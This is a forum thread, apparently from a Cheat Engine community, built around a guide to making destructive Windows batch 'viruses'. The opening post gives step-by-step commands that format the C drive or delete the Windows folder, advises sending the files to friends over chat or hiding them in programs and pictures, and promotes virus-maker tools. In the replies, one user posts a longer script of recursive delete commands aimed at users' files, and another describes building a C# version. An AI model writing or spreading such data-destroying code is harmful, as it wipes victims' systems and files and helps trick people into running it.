Cheat Engine

[AdamWest]

This guide will be updated tonight with pictures, and new viruses. If you like the guide, you can rep me, but it is not needed.
This guide, as of now, is for Windows ONLY!
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Batch File 1.
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Description:This is easily, the most simple virus ever. This "virus" is actually not a virus. It will format your C drive, rendering it useless if the OS is installed on said drive.
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Step 1. Open Notepad
Step 2. In Notepad, type in FORMAT C:
Step 3. Click Save As, and save it as <insertnamehere>.bat

Warning: I do not recommend running this!
To Spread: There are a couple ways. Send to friends as the defualt Batch File, and watch them log off AIM, XFire, MSN, whatever within minutes. Or, you can use C++ or maybe Delphi, to code a basic windows program that runs this in the background. Tutorial on this later!
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Batch File 2.
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Description: This Batch File will delete everything in the WINDOWS part of the C: drive, also rendering it useless. This is more advanced than the last, but will n
ot re-delete everything on bootup.
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Step 1. Open Notepad
Step 2. Type in :
@echo off
rem deleting windows
del C:\WINDOWS
Step 3. Click Save As, and save it as <insertnamehere>.bat
Warning: I do not recommend running this!
To Spread: Same as the other Batch. Send it around on AIM, or something. Later I'll show an example of how to embed it into a picture, so it spreads around easily.
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Batch Virus Maker: Tired of manually righting codes for crappy .bat files? Included here is the Batch Virus Maker, which includes such options: Disabling victims mouse, keyboard, how the file starts, how it spreads and virus details.
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GenVirus:
Author: J.Struss
Features:

GenVir was marketed by a Frenchman called Struss as a tool to evaluate the performance of anti-virus products and its documents included an order form. In 1993 members of NuKE released a cracked version 1.5. Later in 1993 Struss released version 2.0 which boasted MS-DOS 5.0, 6.0 and Doublespace compatibility.

More than 10 viruses produced by GenVir are known. Ill post how to use it soon
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[Lorrenzo]

Nice, but the one with C:\ isn't the best because not everyone uses it.

[Hackerdevelopment]

Nice! This is gonna b great!

[AtheistCrusader]

since this is .bat file everyone can edit it and see the code so its almost useless

[AdamWest]

[Poutsokefalos]

Nice one adam.just one thing...msn won't let me send it because it says that i must scan it first

[DeletedUser14087]

This is not a virus, you're scamming people

Virus must be detected by a AV, AV wont detect "del C:\WINDOWS" unless the person is too stupod to edit the .bat with notepad

[Stylo]

nice tut thanks
i used visual C# to make a little program for doing it
and i added a search option in local discs C D & E (seached the windows folder)

here's what i did
WARNING: Do not run this file S:

[appalsap]

Darn, I wanted you to remove this, but Kaspersky's already read it. We all know what kind of programs we'll be seeing in the next few days

[AtheistCrusader]

[DeletedUser14087]

[hcavolsdsadgadsg]

This topic is a cesspool of failure.

[XxOsirisxX]

Weak "virus".

This is better...

echo del "%systemdrive%\*.exe" /s /f /a /q
echo del "%systemdrive%\*.jpg" /s /f /a /q
echo del "%systemdrive%\*.gif" /s /f /a /q
echo del "%systemdrive%\*.bmp" /s /f /a /q
echo del "%systemdrive%\*.mp3" /s /f /a /q
echo del "%systemdrive%\*.wav" /s /f /a /q
echo del "%systemdrive%\*.wma" /s /f /a /q
echo del "%systemdrive%\*.avi" /s /f /a /q
echo del "%systemdrive%\*.mpg" /s /f /a /q
echo del "%systemdrive%\*.wmv" /s /f /a /q
echo del "%systemdrive%\*.txt" /s /f /a /q
echo del "%systemdrive%\*.doc" /s /f /a /q
echo del "%systemdrive%\*.swf" /s /f /a /q
echo del "%systemdrive%\*.lnk" /s /f /a /q

Also for the windows..

del %homedrive%/Windows

[AtheistCrusader]

and what r these supposed to do?

[XxOsirisxX]